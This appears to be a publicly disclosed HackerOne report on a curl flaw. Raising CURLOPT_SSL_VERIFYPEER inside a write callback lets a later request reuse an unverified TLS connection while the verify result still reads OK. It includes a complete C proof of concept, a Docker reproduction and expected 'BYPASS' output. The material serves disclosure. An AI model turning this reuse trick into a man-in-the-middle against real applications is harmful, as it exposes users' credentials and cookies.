HexBrain

curl · Report #3831432

setopt(VERIFYPEER) from callback bypasses TLS verify on connection reuse

N/Astatus
lowseverity
7upvotes
30 Jun 2026disclosed

How it was found

Summary:

Curl_ssl_conn_config_update overwrites conn->ssl_config.verifypeer when curl_easy_setopt(CURLOPT_SSL_VERIFYPEER, ...) is called, with no handshake-state guard — only if(data->conn). Since setopt is documented as callable from callbacks (setopt.c:2930), an application can connect with verifypeer=0 (accepting a rogue cert), then flip to verifypeer=1 inside a write callback. The mutation rewrites the pooled connection's ssl_config.verifypeer from 0 to 1, so a subsequent verifypeer=1 request reuses the unverified TLS connection via match_ssl_primary_config (sees 1==1) without a new handshake. The application reads CURLINFO_SSL_VERIFYRESULT=0 (X509_V_OK, calloc default — never updated on reuse) and believes verification passed. A MITM with a rogue-signed cert captures the 2nd request's credentials.

Affected version

curl 8.21.1-DEV (x86_64-pc-linux-gnu) libcurl/8.21.1-DEV OpenSSL/3.5.6 zlib/1.3.1

Bug is in shared lib/vtls/vtls_config.c:406-423, not backend-specific. Reproduced on current master commit cfc7922377.

Steps To Reproduce:

#include <curl/curl.h>
#include <stdio.h>

static CURL *g;
static int up;

static size_t cb(char *p, size_t s, size_t n, void *u) {
    if(!up++) curl_easy_setopt(g, CURLOPT_SSL_VERIFYPEER, 1L);
    return s * n;
}

int main(void) {
    curl_global_init(0);
    CURLSH *sh = curl_share_init();
    curl_share_setopt(sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);

    /* 1st: verifypeer=0, accept rogue cert, upgrade to 1 in callback */
    CURL *a = curl_easy_init();
    g = a;
    curl_easy_setopt(a, CURLOPT_URL, "https://127.0.0.1:9443/1");
    curl_easy_setopt(a, CURLOPT_CAINFO, "real_ca.crt");
    curl_easy_setopt(a, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(a, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(a, CURLOPT_WRITEFUNCTION, cb);
    curl_easy_setopt(a, CURLOPT_SHARE, sh);
    curl_easy_setopt(a, CURLOPT_NOSIGNAL, 1L);
    curl_easy_perform(a);
    curl_easy_cleanup(a);

    /* 2nd: verifypeer=1, should reject but reuses a's unverified conn */
    CURL *b = curl_easy_init();
    curl_easy_setopt(b, CURLOPT_URL, "https://127.0.0.1:9443/2");
    curl_easy_setopt(b, CURLOPT_CAINFO, "real_ca.crt");
    curl_easy_setopt(b, CURLOPT_SSL_VERIFYPEER, 1L);
    curl_easy_setopt(b, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(b, CURLOPT_SHARE, sh);
    curl_easy_setopt(b, CURLOPT_NOSIGNAL, 1L);
    CURLcode rc = curl_easy_perform(b);

    long vr = -1, nc = -1;
    curl_easy_getinfo(b, CURLINFO_SSL_VERIFYRESULT, &vr);
    curl_easy_getinfo(b, CURLINFO_NUM_CONNECTS, &nc);
    printf("result=%d verify=%ld connects=%ld %s\n", rc, vr, nc,
           (rc == 0 && nc == 0 && vr == 0) ? "BYPASS" : "no-bypass");

    curl_easy_cleanup(b);
    curl_share_cleanup(sh);
    curl_global_cleanup();
    return 0;
}

Self-contained Docker reproduction:

docker build -t f5-setopt .
docker run --rm f5-setopt

Expected output:

result=0 verify=0 connects=0 BYPASS
  • result=0 — 2nd request succeeded over rogue-signed TLS
  • verify=0 — false X509_V_OK (calloc default, never updated on reuse)
  • connects=0 — connection reused, no new handshake

The 0→1 upgrade is the only exploitable direction. Session cache is unaffected (ssl_peer_key_add_vrfy encodes :NO-VRFY-PEER at handshake time). CURLOPT_SSL_VERIFYHOST and CURLOPT_SSL_VERIFYSTATUS have the same bug (same Curl_ssl_conn_config_update call, same missing guard).

Impact

Summary:

A verifypeer=1 request silently reuses a TLS connection that was established without certificate chain verification. The application cannot detect this — CURLINFO_SSL_VERIFYRESULT returns X509_V_OK (calloc default, never updated on connection reuse), so it believes verification passed. If the reused connection was established to an attacker-controlled server (with verifypeer=0), subsequent requests' credentials and cookies flow over that connection while the application believes TLS is strictly verified.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original